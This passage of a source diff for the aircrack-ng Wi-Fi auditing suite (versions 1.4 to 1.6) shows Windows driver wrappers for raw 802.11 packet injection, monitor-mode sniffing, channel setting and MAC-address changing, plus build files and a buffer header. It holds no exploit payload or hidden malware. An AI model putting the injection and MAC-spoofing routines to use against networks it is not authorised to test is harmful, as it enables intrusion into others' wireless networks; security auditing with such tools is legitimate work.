+        if (!(cs->cs_F1 && cs->cs_T1 && cs->cs_CC && cs->cs_S1 && cs->cs_S5
+	      && cs->cs_F2 && cs->cs_GN))
+		return print_error("Can't find syms");
+
+	return do_init_lib(cs);
+}
+
+static int get_name(struct cstate *cs, char *name)
+{
+	wchar_t wname[1024];
+	unsigned int i;
+
+	if (!(cs->cs_GN(wname) & 1))
+		return print_error("GN()");
+
+	/* XXX */
+	for (i = 0; i < (sizeof(wname)/sizeof(wchar_t)); i++) {
+		if (wname[i] == 0)
+			break;
+
+		*name++ = (char) ((unsigned char) wname[i]);
+	}
+	*name = 0;
+
+	return 0;
+}
+
+static int get_guid(struct cstate *cs, char *param)
+{
+	IP_ADAPTER_INFO ai[16];
+	DWORD len = sizeof(ai);
+	PIP_ADAPTER_INFO p;
+	char name[1024];
+	int found;
+
+	if (get_name(cs, name) == -1)
+		return print_error("get_name()");
+
+	print_debug("Name: %s", name);
+
+	if (GetAdaptersInfo(ai, &len) != ERROR_SUCCESS)
+		return print_error("GetAdaptersInfo()");
+
+	p = ai;
+	while (p) {
+		print_debug("get_guid: name: %s desc: %s",
+			    p->AdapterName, p->Description);
+
+		found = (param && strcmp(p->AdapterName, param) == 0)
+			|| strstr(p->Description, name);
+
+		/* XXX */
+		if (cs->cs_debug) {
+			char yea[512];
+
+			printf("Does this look like your card? [y/n]\n");
+			yea[0] = 0;
+			fgets(yea, sizeof(yea), stdin);
+			if (yea[0] == 'y')
+				found = 1;
+			else
+				found = 0;
+		}
+		
+		if (found) {
+			snprintf(cs->cs_guid, sizeof(cs->cs_guid)-1, "%s",
+				 p->AdapterName);
+			return 0;
+		}
+
+		p = p->Next;
+	}
+
+	return print_error("Adapter not found");
+}
+
+static int open_key(struct cstate *cs, char *name)
+{
+	char key[256];
+	DWORD dt, len = sizeof(key);
+
+	/* open key */
+	snprintf(key, sizeof(key)-1, "%s\\%s", ADAPTER_KEY, name);
+	if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, key, 0, KEY_ALL_ACCESS,
+			 &cs->cs_key) != ERROR_SUCCESS)
+		return print_error("RegOpenKeyEx()");
+
+	/* check if its our guid */
+	if ((RegQueryValueEx(cs->cs_key, "NetCfgInstanceId", NULL, &dt,
+	    		     (unsigned char*)key, &len) == ERROR_SUCCESS) 
+	     && (dt == REG_SZ) && (strcmp(key, cs->cs_guid) == 0))
+		return 1; /* closekey done by cleanup */
+
+	/* nope */
+	RegCloseKey(cs->cs_key);
+	cs->cs_key = NULL;
+
+	return 0;
+}
+
+static int open_conf(struct cstate *cs)
+{
+        HKEY ak47;
+	int rc = -1;
+	int i;
+	char name[256];
+	DWORD len;
+
+	if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, ADAPTER_KEY, 0, KEY_READ, &ak47)
+	    != ERROR_SUCCESS)
+		return print_error("RegOpenKeyEx()");
+
+	for (i = 0;; i++) {
+		len = sizeof(name);
+		if (RegEnumKeyEx(ak47, i, name, &len, NULL, NULL, NULL, NULL)
+		    != ERROR_SUCCESS)
+			break;
+
+		rc = open_key(cs, name);
+		if (rc)
+			break;
+		else
+			rc = -1;
+	}
+
+	RegCloseKey(ak47);
+	return rc;
+}
+
+static int check_param(struct cstate *cs, char **p)
+{
+	char *param = *p;
+
+	/* assume it's ifname */
+	if (strncmp(param, "eth", 3) == 0) {
+		snprintf(cs->cs_param, sizeof(cs->cs_param), "%s", param);
+		snprintf(cs->cs_ifreq.ifr_name,
+			 sizeof(cs->cs_ifreq.ifr_name), "%s", cs->cs_param);
+		
+		cs->cs_ioctls = socket(PF_INET, SOCK_DGRAM, 0);
+		if (cs->cs_ioctls == -1) {
+			cs->cs_ioctls = 0;
+			return print_error("socket()");
+		}
+	} else if(strcmp(param, "debug") == 0) {
+		cs->cs_debug = 1;
+		*p = NULL;
+	}
+
+	return 0;
+}
+
+int cygwin_init(char *param)
+{
+	struct cstate *cs = get_cs();
+
+	memset(cs, 0, sizeof(*cs));
+	cs->cs_chan = 1;
+
+	if (pthread_mutex_init(&cs->cs_mtx, NULL))
+		return print_error("pthread_mutex_init()");
+
+	if (param) {
+		if (check_param(cs, &param))
+			return -1;
+	}
+
+	if (init_lib(cs) == -1)
+		return print_error("init_lib()");
+
+	if (get_guid(cs, param) == -1)
+		return print_error("get_guid()");
+
+	if (open_conf(cs) == -1)
+		return print_error("open_conf()");
+
+	return 0;
+}
+
+int cygwin_set_chan(int chan)
+{
+	struct cstate *cs = get_cs();
+
+	if (!cs->cs_CC(chan))
+		return -1;
+
+	cs->cs_chan = chan;
+
+	return 0;
+}
+
+int cygwin_inject(void *buf, int len, struct tx_info *ti)
+{
+	struct cstate *cs = get_cs();
+
+	if (ti) {} /* XXX unused */
+
+	if (!cs->cs_T1(len, buf))
+		return -1;
+
+	return len;
+}
+
+static int read_single_packet(struct cstate *cs, unsigned char *buf, int len,
+			      struct rx_info *ri)
+{          
+        static unsigned char data[BUFSIZE];
+        static int totlen = 0;
+        static unsigned char *next;
+        struct CV_Header *cvh;
+        struct CV_Header2 *cvh2;
+        unsigned char *hdr;
+        int align, plen;
+        
+        /* read data if necessary */
+        if (totlen == 0) {
+		/* XXX can't kill iface if we're reading */
+		if (pthread_mutex_lock(&cs->cs_mtx))
+			return -1;
+                totlen = cs->cs_S5(data, sizeof(data));
+		if (pthread_mutex_unlock(&cs->cs_mtx))
+			return -1;
+
+                if (totlen < 1)
+			return -1;
+
+                next = data;
+        }
+
+        /* copy packet */
+        cvh = (struct CV_Header*) next;
+        cvh2 = (struct CV_Header2*) (cvh+1);
+        hdr = (unsigned char*) (cvh2+1);
+        plen = cvh->SliceSize - sizeof(*cvh2);
+        assert(plen > 0);
+        if (plen < len)
+                len = plen;
+        memcpy(buf, hdr, len);
+
+	if (ri)
+		ri->ri_power = cvh2->Power;
+
+        /* go to next packet */
+        next = hdr + plen;
+        align = ((unsigned long)next - (unsigned long)cvh ) % 4;
+        if (align)
+                align = 4 - align;
+        next += align;
+        totlen -= sizeof(*cvh) + cvh->SliceSize;
+        assert(totlen >= 0);
+        if (totlen > 0)
+                totlen -= align;
+        assert(totlen >= 0);
+
+        return (cvh2->ErrorFlag & 1) ? 0 : len;
+}
+
+int cygwin_sniff(void *buf, int len, struct rx_info *ri)
+{
+	struct cstate *cs = get_cs();
+        int rc;
+	int tries = 60;
+
+        while ((rc = read_single_packet(cs, buf, len, ri)) == 0);
+
+	if (rc != -1)
+		return rc;
+
+	/* check if we're restarting */
+	while (cs->cs_restarting && tries--) {
+		/* try again */
+		if (cs->cs_restarting == 2) {
+			cs->cs_restarting = 0;
+			return cygwin_sniff(buf, len, ri);
+		}
+
+		sleep(1);
+	}
+
+        return rc;
+}
+
+static int do_get_mac_win(struct cstate *cs, unsigned char *mac)
+{
+	IP_ADAPTER_INFO ai[16];
+	DWORD len = sizeof(ai);
+	PIP_ADAPTER_INFO p;
+
+	if (GetAdaptersInfo(ai, &len) != ERROR_SUCCESS)
+		return -1;
+
+	p = ai;
+	while (p) {
+		if (strcmp(cs->cs_guid, p->AdapterName) == 0) {
+			memcpy(mac, p->Address, 6);
+			return 0;
+		}
+
+		p = p->Next;
+	}
+
+	return -1;
+}
+
+static int do_get_mac_cygwin(struct cstate *cs, unsigned char *mac)
+{
+	if (ioctl(cs->cs_ioctls, SIOCGIFHWADDR, &cs->cs_ifreq) == -1)
+		return -1;
+
+	memcpy(mac, cs->cs_ifreq.ifr_addr.sa_data, 6);
+
+	return 0;
+}
+
+int cygwin_get_mac(unsigned char *mac)
+{
+	struct cstate *cs = get_cs();
+
+	if (cs->cs_ioctls)
+		return do_get_mac_cygwin(cs, mac);
+	
+	return do_get_mac_win(cs, mac);
+}
+
+static int is_us2(struct cstate *cs, HDEVINFO *hdi, SP_DEVINFO_DATA *did)
+{             
+        char buf[256];
+        DWORD len = sizeof(buf), dt;
+              
+        if (cs) {} /* XXX unused */
+              
+        if (!SetupDiGetDeviceRegistryProperty(*hdi, did, SPDRP_DEVICEDESC, &dt,
+                                              (unsigned char*)buf, len, &len))
+                return 0;
+              
+        if (dt != REG_SZ)
+                return 0;
+
+	return strstr(buf, "CommView") != NULL;
+}
+
+static int reset_state(HDEVINFO *hdi, SP_DEVINFO_DATA *did, DWORD state)
+{
+        SP_PROPCHANGE_PARAMS parm;
+        
+        parm.ClassInstallHeader.cbSize = sizeof(parm.ClassInstallHeader);
+        parm.ClassInstallHeader.InstallFunction = DIF_PROPERTYCHANGE;
+        parm.Scope = DICS_FLAG_GLOBAL;
+        parm.StateChange = state;
+
+        if (!SetupDiSetClassInstallParams(*hdi, did, (SP_CLASSINSTALL_HEADER*)
+                                          &parm, sizeof(parm)))
+                return -1;
+
+        if (!SetupDiCallClassInstaller(DIF_PROPERTYCHANGE, *hdi, did))
+                return -1;
+
+        return 0;
+}
+
+static int do_reset(HDEVINFO *hdi, SP_DEVINFO_DATA *did)
+{
+        int rc;
+
+        rc = reset_state(hdi, did, DICS_DISABLE);
+        if (rc)
+                return rc;
+
+        return reset_state(hdi, did, DICS_ENABLE);
+}
+
+static int restart(struct cstate *cs)
+{
+	int rc;
+	
+	rc = do_init_lib(cs);
+
+	return rc;
+}
+
+static int reset(struct cstate *cs)
+{
+        HDEVINFO hdi;
+        SP_DEVINFO_DATA did;
+        int i;
+        int rc = -1;
+
+        hdi = SetupDiGetClassDevs(&GUID_DEVCLASS_NET, NULL, NULL,
+                          DIGCF_PRESENT);
+        if (hdi == INVALID_HANDLE_VALUE)
+                return -1;
+
+        /* find device */
+        for (i = 0;; i++) {
+                did.cbSize = sizeof(did);
+                if (!SetupDiEnumDeviceInfo(hdi, i, &did))
+                        break;
+                
+                if (!is_us2(cs, &hdi, &did))
+                        continue;
+
+		/* XXX we are blocked on reader.  */
+		if (pthread_mutex_lock(&cs->cs_mtx))
+			break;
+		cs->cs_restarting = 1;
+
+		/* kill lib */
+		if (!cs->cs_F2())
+			break;
+
+		/* reset NIC */
+                rc = do_reset(&hdi, &did);
+                if (rc) 
+                        break;
+
+		sleep(1); /* XXX seems necessary */
+
+		/* reinit lib */
+                rc = restart(cs);
+		cs->cs_restarting = 2;
+		
+		/* done */
+		if (pthread_mutex_unlock(&cs->cs_mtx))
+			break;
+
+                break;
+        }
+        
+        SetupDiDestroyDeviceInfoList(hdi);
+
+        return rc;
+}
+
+int cygwin_set_mac(unsigned char *mac)
+{
+	struct cstate *cs = get_cs();
+        char str[2*6+1];
+	char strold[sizeof(str)];
+        int i;
+	char *key = "NetworkAddress";
+	DWORD dt, len = sizeof(strold);
+        
+	/* convert */
+        str[0] = 0;
+        for (i = 0; i < 6; i++) {
+                char tmp[3];
+                
+                if (sprintf(tmp, "%.2X", *mac++) != 2)
+			return -1;
+                strcat(str, tmp);
+        }
+
+	/* check old */
+	if ((RegQueryValueEx(cs->cs_key, key, NULL, &dt, (unsigned char*)
+	    strold, &len) == ERROR_SUCCESS) && (dt == REG_SZ)) {
+		if (strcmp(str, strold) == 0)
+			return 0;
+	}
+       
+	/* set */
+	if (RegSetValueEx(cs->cs_key, key, 0, REG_SZ,
+			(unsigned char *)str, strlen(str)+1) != ERROR_SUCCESS)
+                return -1;
+              
+        if (reset(cs) == -1)
+                return -1;
+
+        return 0;
+}
+
+void cygwin_close(void)
+{
+	struct cstate *cs = get_cs();
+
+	if (cs->cs_ioctls)
+		close(cs->cs_ioctls);
+
+	if (cs->cs_key)
+		RegCloseKey(cs->cs_key);
+
+	if (cs->cs_lib) {
+		cs->cs_F2();
+		dlclose(cs->cs_lib);
+	}
+}

aircrack-ng-1.6.tar.gz/contrib/peek Added

aircrack-ng-1.6.tar.gz/contrib/peek/Makefile Added

aircrack-ng-1.6.tar.gz/contrib/peek/omnipeek.c Added

@@ -0,0 +1,292 @@
+/* ripped from devine's windows airodump */
+
+#include <string.h>
+#include <dlfcn.h>
+#include <windows.h>
+#include <pthread.h>
+#include <assert.h>
+#include <err.h>
+
+#include "osdep.h"
+#include "cygwin.h"
+
+#ifdef UNUSED
+#elif defined(__GNUC__)
+# define UNUSED(x) UNUSED_ ## x __attribute__((unused))
+#elif defined(__LCLINT__)
+# define UNUSED(x) /*@unused@*/ x
+#else
+# define UNUSED(x) x
+#endif
+
+#define MAGIC1		0x3E8000
+#define MAGIC2		0x21
+#define MAGICCHAN	0xFF636713
+
+struct pstate
+{
+	void		*ps_lib;
+	HANDLE		ps_adapter;
+	HANDLE		ps_ctx;
+	pthread_cond_t	ps_sem;
+	pthread_mutex_t	ps_mtx;
+	unsigned char	ps_data[4096];
+	int		ps_len;
+
+	int    (*ps_peek_initialize_library)(void);
+	HANDLE (*ps_peek_open_adapter)(LPSTR);
+	int    (*ps_peek_start_capture)(HANDLE);
+	int    (*ps_peek_request)(HANDLE, void*, void*);
+	int    (*ps_peek_stop_capture)(HANDLE);
+	int    (*ps_peek_close_adapter)(HANDLE);
+	int    (*ps_peek_packet_send)(HANDLE, void*, int, int*, LPOVERLAPPED,
+				      int);
+	HANDLE (*ps_peek_create_capture_context)(HANDLE, void*, int,
+						 int, void*);
+} _pstate;
+
+static struct pstate *get_ps(void)
+{
+	return &_pstate;
+}
+
+static int init_lib(struct pstate *ps)
+{
+	char *libname = "Peek.dll";
+	void *lib;
+
+	if (!(lib = dlopen(libname, RTLD_LAZY)))
+		return -1;
+
+	ps->ps_lib = lib;
+
+	ps->ps_peek_open_adapter  = dlsym(lib, "PeekOpenAdapter");
+	ps->ps_peek_start_capture = dlsym(lib, "PeekStartCapture");
+	ps->ps_peek_request	  = dlsym(lib, "PeekRequest");
+	ps->ps_peek_stop_capture  = dlsym(lib, "PeekStopCapture");
+	ps->ps_peek_close_adapter = dlsym(lib, "PeekCloseAdapter");
+	ps->ps_peek_packet_send	  = dlsym(lib, "PeekPacketSend");
+	ps->ps_peek_create_capture_context = 
+		dlsym(lib, "PeekCreateCaptureContext");
+	ps->ps_peek_initialize_library =
+		dlsym(lib, "PeekInitializeLibrary");
+
+	if (!(ps->ps_peek_open_adapter
+	    	&& ps->ps_peek_start_capture
+		&& ps->ps_peek_request
+		&& ps->ps_peek_stop_capture
+		&& ps->ps_peek_close_adapter
+		&& ps->ps_peek_packet_send
+		&& ps->ps_peek_create_capture_context
+		&& ps->ps_peek_initialize_library
+	      ))
+		return -1;
+
+	return 0;
+}
+
+static void do_cleanup(struct pstate *ps)
+{
+	if (!ps->ps_lib)
+		return;
+
+	if (ps->ps_ctx != INVALID_HANDLE_VALUE)
+		ps->ps_peek_stop_capture(ps->ps_ctx);
+
+	if (ps->ps_adapter != INVALID_HANDLE_VALUE)
+		ps->ps_peek_close_adapter(ps->ps_adapter);
+
+	dlclose(ps->ps_lib);
+}
+
+static int set_chan(struct pstate *ps, int channel)
+{
+	unsigned long reqdata[139];
+	OVERLAPPED iodata;
+
+	memset(reqdata, 0, sizeof(reqdata));
+	memset(&iodata, 0, sizeof(iodata));
+
+	iodata.hEvent = CreateEvent(0, 0, 0, 0);
+
+	reqdata[5] = 1;
+	reqdata[6] = MAGICCHAN;
+	reqdata[7] = (unsigned long) &channel;
+	reqdata[8] = 4;
+
+	return ps->ps_peek_request(ps->ps_adapter, reqdata, &iodata);
+}
+
+static void do_lock(struct pstate *ps)
+{
+	if (pthread_mutex_lock(&ps->ps_mtx))
+		err(1, "pthread_mutex_lock()");
+}
+
+static void do_signal(struct pstate *ps)
+{
+	do_lock(ps);
+
+	if (pthread_cond_signal(&ps->ps_sem))
+		err(1, "pthread_cond_signal()");
+}
+
+static void do_wait(struct pstate *ps)
+{
+	do_lock(ps);
+
+	if (pthread_cond_wait(&ps->ps_sem, &ps->ps_mtx))
+		err(1, "pthread_cond_wait()");
+}
+
+static int WINAPI callback(unsigned char *data, int len, int UNUSED(caplen),
+                           __int64 UNUSED(timestamp), int flags,
+			   int UNUSED(arg7))
+{
+	struct pstate *ps = get_ps();
+
+	if ((flags & 1) != 0)
+		return 1;
+
+	assert(len <= (int) sizeof(ps->ps_data));
+	ps->ps_len = len;
+	memcpy(ps->ps_data, data, ps->ps_len);
+
+	/* tell him we wrote */
+	do_signal(ps);
+
+	/* wait for him to copy */
+	do_wait(ps);
+
+	return 1;
+}
+
+static int init_card(struct pstate *ps, char *dev)
+{
+	int rc, len;
+	char *unicode, *p;
+
+	if (ps->ps_peek_initialize_library() == 0)
+		return -1;
+
+	/* convert dev to unicode - i'm sure there's a standard function, but
+	 * aingottime.
+	 * Format: \Device\{GUID}
+	 */
+	if (!dev)
+		return -1;
+
+	len = strlen(dev);
+	unicode = p = malloc((len+1)*2);
+	if (!unicode)
+		return -1;
+
+	for (rc = 0; rc < len; rc++) {
+		*p++ = dev[rc];
+		*p++ = 0;
+	}
+	*p++ = 0;
+	*p++ = 0;
+
+	ps->ps_adapter = ps->ps_peek_open_adapter(unicode);
+	free(unicode);
+	if (ps->ps_adapter == INVALID_HANDLE_VALUE)
+		return -1;
+
+	ps->ps_ctx = ps->ps_peek_create_capture_context(ps->ps_adapter,
+				callback, MAGIC1, MAGIC2, NULL);
+
+	if ((rc = ps->ps_peek_start_capture(ps->ps_ctx)))
+		return rc;
+
+	return set_chan(ps, 1);
+}
+
+int CYGWIN_DLL_INIT (char *param)
+{
+	struct pstate *ps = get_ps();
+	int rc;
+
+	memset(ps, 0, sizeof(*ps));
+	ps->ps_adapter = INVALID_HANDLE_VALUE;
+	ps->ps_ctx     = INVALID_HANDLE_VALUE;
+
+	if ((rc = pthread_cond_init(&ps->ps_sem, NULL)))
+		goto out;
+
+	if ((rc = pthread_mutex_init(&ps->ps_mtx, NULL)))
+		goto out;
+
+	if ((rc = init_lib(ps)))
+		goto out;
+
+	if ((rc = init_card(ps, param)))
+		goto out;
+
+	return 0;
+out:
+	do_cleanup(ps);
+	return rc;
+}
+
+int CYGWIN_DLL_SET_CHAN (int chan)
+{
+	struct pstate *ps = get_ps();
+
+	return set_chan(ps, chan) ? -1 : 0;
+}
+
+int CYGWIN_DLL_INJECT (void* buf, int len,
+		       struct tx_info* UNUSED(ti))
+{
+	struct pstate *ps = get_ps();
+	int rc;
+	int wrote = 0;
+	OVERLAPPED iodata;
+
+	memset(&iodata, 0, sizeof(iodata));
+	iodata.hEvent = CreateEvent(0, 0, 0, 0);
+
+	rc = ps->ps_peek_packet_send(ps->ps_adapter, buf, len, &wrote,
+				     &iodata, 0);
+	if (rc)
+		return rc;
+
+	return len;
+}
+
+int CYGWIN_DLL_SNIFF (void *buf, int len, struct rx_info* UNUSED(ri))
+{
+	struct pstate *ps = get_ps();
+
+	/* wait for shit */
+	do_wait(ps);
+
+	/* copy it */
+	if (ps->ps_len < len)
+		len = ps->ps_len;
+
+	memcpy(buf, ps->ps_data, len);
+
+	/* tell him we're done */
+	do_signal(ps);
+
+	return len;
+}
+
+int CYGWIN_DLL_GET_MAC (unsigned char* UNUSED(mac))
+{
+	return -1;
+}
+
+int CYGWIN_DLL_SET_MAC (unsigned char* UNUSED(mac))
+{
+	return -1;
+}
+
+void CYGWIN_DLL_CLOSE (void)
+{
+	struct pstate *ps = get_ps();
+
+	do_cleanup(ps);
+}

aircrack-ng-1.4.tar.gz/evalrev -> aircrack-ng-1.6.tar.gz/evalrev Changed

@@ -5,6 +5,8 @@
 DIR=${1:-}
 CMD=${2:-}
 
+SCM=""
+
 if [ x$DIR = "x" ]
 then
 	DIR="."
@@ -24,28 +26,35 @@
 
     if test -z "$EXACTLY"; then
         REVISION="${REVISION}_rev-$(git rev-parse --verify --short HEAD)"
+        SCM="_rev-$(git rev-parse --verify --short HEAD)"
     fi
 elif test -d "${DIR}/.svn"; then
     REVISION="_r$(svnversion $DIR 2> /dev/null | sed 's/[^0-9]*//g')"
+    SCM="_r$(svnversion $DIR 2> /dev/null | sed 's/[^0-9]*//g')"
 
     if test x$REVISION = "x"; then
         REVISION="_r$(svn info $DIR 2> /dev/null | grep -i revision | sed 's/[^0-9]*//g')"
+        SCM="_r$(svn info $DIR 2> /dev/null | grep -i revision | sed 's/[^0-9]*//g')"
     fi
 
     if test x$REVISION = "x"; then
         if test -f "${DIR}/.svn/entries"; then
             REVISION="_r$(cat ${DIR}/.svn/entries | grep -i revision | head -n 1 | sed 's/[^0-9]*//g')"
+            SCM="_r$(cat ${DIR}/.svn/entries | grep -i revision | head -n 1 | sed 's/[^0-9]*//g')"
         fi
     fi
 
     if test x$REVISION = "x"; then
         REVISION="_r1"
+        SCM="_r1"
     fi
 else
     REVISION="$(cat ${DIR}/VERSION)"
 fi
 
-if test "x$CMD" = "xquoted"; then
+if test "x$CMD" = "xscm"; then
+    echo $SCM
+elif test "x$CMD" = "xquoted"; then
     echo \"$REVISION\"
 else
     echo $REVISION

aircrack-ng-1.6.tar.gz/include Added

aircrack-ng-1.6.tar.gz/include/Makefile.inc Added

@@ -0,0 +1,92 @@
+# Aircrack-ng
+#
+# Copyright (C) 2019 Joseph Benden <joe@benden.us>
+#
+# Autotool support was written by: Joseph Benden <joe@benden.us>
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+#
+# In addition, as a special exception, the copyright holders give
+# permission to link the code of portions of this program with the
+# OpenSSL library under certain conditions as described in each
+# individual source file, and distribute linked combinations
+# including the two.
+#
+# You must obey the GNU General Public License in all respects
+# for all of the code used other than OpenSSL.
+#
+# If you modify file(s) with this exception, you may extend this
+# exception to your dnl version of the file(s), but you are not obligated
+# to do so.
+#
+# If you dnl do not wish to do so, delete this exception statement from your
+# version.
+#
+# If you delete this exception statement from all source files in the
+# program, then also delete it here.
+
+aircrackdir = $(includedir)/../
+nobase_aircrack_HEADERS = 	%D%/aircrack-ng/adt/avl_tree.h \
+                            %D%/aircrack-ng/adt/circular_buffer.h \
+                            %D%/aircrack-ng/adt/circular_queue.h \
+                            %D%/aircrack-ng/aircrack-ng.h \
+                            %D%/aircrack-ng/ce-wep/uniqueiv.h \
+                            %D%/aircrack-ng/ce-wpa/wpapsk.h \
+                            %D%/aircrack-ng/ce-wpa/arch.h \
+                            %D%/aircrack-ng/ce-wpa/simd-intrinsics-load-flags.h \
+                            %D%/aircrack-ng/ce-wpa/misc.h \
+                            %D%/aircrack-ng/ce-wpa/simd-intrinsics.h \
+                            %D%/aircrack-ng/ce-wpa/pseudo_intrinsics.h \
+                            %D%/aircrack-ng/ce-wpa/memory.h \
+                            %D%/aircrack-ng/ce-wpa/aligned.h \
+                            %D%/aircrack-ng/ce-wpa/johnswap.h \
+                            %D%/aircrack-ng/ce-wpa/memdbg.h \
+                            %D%/aircrack-ng/ce-wpa/jcommon.h \
+                            %D%/aircrack-ng/ce-wpa/crypto_engine.h \
+                            %D%/aircrack-ng/cowpatty/cowpatty.h \
+                            %D%/aircrack-ng/cpu/cpuset.h \
+                            %D%/aircrack-ng/cpu/simd_cpuid.h \
+                            %D%/aircrack-ng/cpu/trampoline.h \
+                            %D%/aircrack-ng/crypto/crctable.h \
+                            %D%/aircrack-ng/crypto/crypto.h \
+                            %D%/aircrack-ng/crypto/gcrypt-openssl-wrapper.h \
+                            %D%/aircrack-ng/crypto/sha1-git.h \
+                            %D%/aircrack-ng/crypto/sha1-sse2.h \
+                            %D%/aircrack-ng/defs.h \
+                            %D%/aircrack-ng/osdep/byteorder.h \
+                            %D%/aircrack-ng/osdep/channel.h \
+                            %D%/aircrack-ng/osdep/common.h \
+                            %D%/aircrack-ng/osdep/network.h \
+                            %D%/aircrack-ng/osdep/osdep.h \
+                            %D%/aircrack-ng/osdep/packed.h \
+                            %D%/aircrack-ng/ptw/aircrack-ptw-lib.h \
+                            %D%/aircrack-ng/support/common.h \
+                            %D%/aircrack-ng/support/communications.h \
+                            %D%/aircrack-ng/support/crypto_engine_loader.h \
+                            %D%/aircrack-ng/support/fragments.h \
+                            %D%/aircrack-ng/support/mcs_index_rates.h \
+                            %D%/aircrack-ng/support/pcap_local.h \
+                            %D%/aircrack-ng/support/station.h \
+                            %D%/aircrack-ng/third-party/ieee80211.h \
+                            %D%/aircrack-ng/third-party/if_arp.h \
+                            %D%/aircrack-ng/third-party/eapol.h \
+                            %D%/aircrack-ng/third-party/ethernet.h \
+                            %D%/aircrack-ng/third-party/if_llc.h \
+                            %D%/aircrack-ng/third-party/hashcat.h \
+                            %D%/aircrack-ng/tui/console.h \
+                            %D%/aircrack-ng/utf8/verifyssid.h \
+                            %D%/aircrack-ng/version.h
+
+EXTRA_DIST += $(nobase_aircrack_HEADERS)

aircrack-ng-1.6.tar.gz/include/aircrack-ng Added

aircrack-ng-1.6.tar.gz/include/aircrack-ng/adt Added

aircrack-ng-1.6.tar.gz/include/aircrack-ng/adt/avl_tree.h Changed

aircrack-ng-1.6.tar.gz/include/aircrack-ng/adt/circular_buffer.h Added

@@ -0,0 +1,142 @@
+/**
+ * Copyright (C) 2018-2020 Joseph Benden <joe@benden.us>
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a
+ * copy of this software and associated documentation files (the "Software"),
+ * to deal in the Software without restriction, including without limitation
+ * the rights to use, copy, modify, merge, publish, distribute, sublicense,
+ * and/or sell copies of the Software, and to permit persons to whom the
+ * Software is furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
+ * DEALINGS IN THE SOFTWARE.
+ **/
+
+#ifndef AIRCRACK_UTIL_CIRCULAR_BUFFER_H
+#define AIRCRACK_UTIL_CIRCULAR_BUFFER_H
+
+#include <aircrack-ng/defs.h>
+
+/**
+ * @file circular_buffer.h
+ *
+ * @brief An implementation of a non-thread-safe circular buffer.
+ *
+ * @author Joseph Benden <joe@benden.us>
+ */
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+/// The type representing the internal data structure for a single
+/// circular buffer; unaccessible to public API consumers.
+typedef struct circular_buffer_t circular_buffer_t;
+
+/// The type representing a handle to a single circular buffer.
+typedef circular_buffer_t * cbuf_handle_t;
+
+/*!
+ * @brief Create a new circular buffer.
+ * @param[in] buffer A region of memory to be used for element storage.
+ * @param[in] bufferSize The number of bytes available at @a buffer.
+ * @param[in] elementSize The number of bytes used by a single entry stored.
+ * @return A brand-new circular buffer handle, else NULL on error.
+ */
+API_IMPORT cbuf_handle_t circular_buffer_init(uint8_t * buffer,
+											  size_t bufferSize,
+											  size_t elementSize);
+
+/*!
+ * @brief Release the memory used by the circular buffer.
+ * @param[in] cbuf The circular buffer handle to operate upon.
+ *
+ * @par
+ * The API consumer is expected to release the memory region
+ * given to the @a circular_buffer_init function, by themselves.
+ */
+API_IMPORT void circular_buffer_free(cbuf_handle_t cbuf);
+
+/*!
+ * @brief Reset the circular buffer back to its' initial state.
+ * @param[in] cbuf The circular buffer handle to operate upon.
+ */
+API_IMPORT void circular_buffer_reset(cbuf_handle_t cbuf);
+
+/*!
+ * @brief Store an entry to the circular buffer.
+ * @param[in] cbuf The circular buffer handle to operate upon.
+ * @param[in] data A buffer location for which we copy the data in from.
+ * @param[in] size The length of the @a data memory buffer. This is
+ *                 permitted to be less-than or equal-to the
+ *                 element size. If less-than, the remaining bytes
+ *                 of the element store are zeroed.
+ *
+ * @par
+ * The memory location of @a data must not overlap the circular
+ * buffer's memory location. This is because we internally use
+ * the @f memcpy function.
+ */
+API_IMPORT void
+circular_buffer_put(cbuf_handle_t cbuf, void const * const data, size_t size);
+
+/*!
+ * @brief Acquire an entry from the circular buffer.
+ * @param[in] cbuf The circular buffer handle to operate upon.
+ * @param[in] data A buffer location to which to copy the data out to.
+ * @param[in] size The length of the @a data memory buffer. This is
+ *                 permitted to be less-than or equal-to the
+ *                 element size.
+ *
+ * @par
+ * The memory location of @a data must not overlap the circular
+ * buffer's memory location. This is because we internally use
+ * the @f memcpy function.
+ */
+API_IMPORT void
+circular_buffer_get(cbuf_handle_t cbuf, void * const * data, size_t size);
+
+/*!
+ * @brief Returns whether the circular buffer is empty.
+ * @param[in] cbuf The circular buffer handle to operate upon.
+ * @return A boolean representing the emptiness state of the
+ *         circular buffer.
+ */
+API_IMPORT bool circular_buffer_is_empty(cbuf_handle_t cbuf);
+
+/*!
+ * @brief Returns whether the circular buffer is full.
+ * @param[in] cbuf The circular buffer handle to operate upon.
+ * @return A boolean representing the fullness state of the
+ *         circular buffer.
+ */
+API_IMPORT bool circular_buffer_is_full(cbuf_handle_t cbuf);
+
+/*!
+ * @brief Returns the number of storable entries.
+ * @param[in] cbuf The circular buffer handle to operate upon.
+ * @return The number of entries that may be stored within the
+ *         circular buffer.
+ */
+API_IMPORT size_t circular_buffer_capacity(cbuf_handle_t cbuf);
+
+/*!
+ * @brief Returns the number of currently stored entries.
+ * @param[in] cbuf The circular buffer handle to operate upon.
+ * @return The number of entries within the circular buffer.
+ */
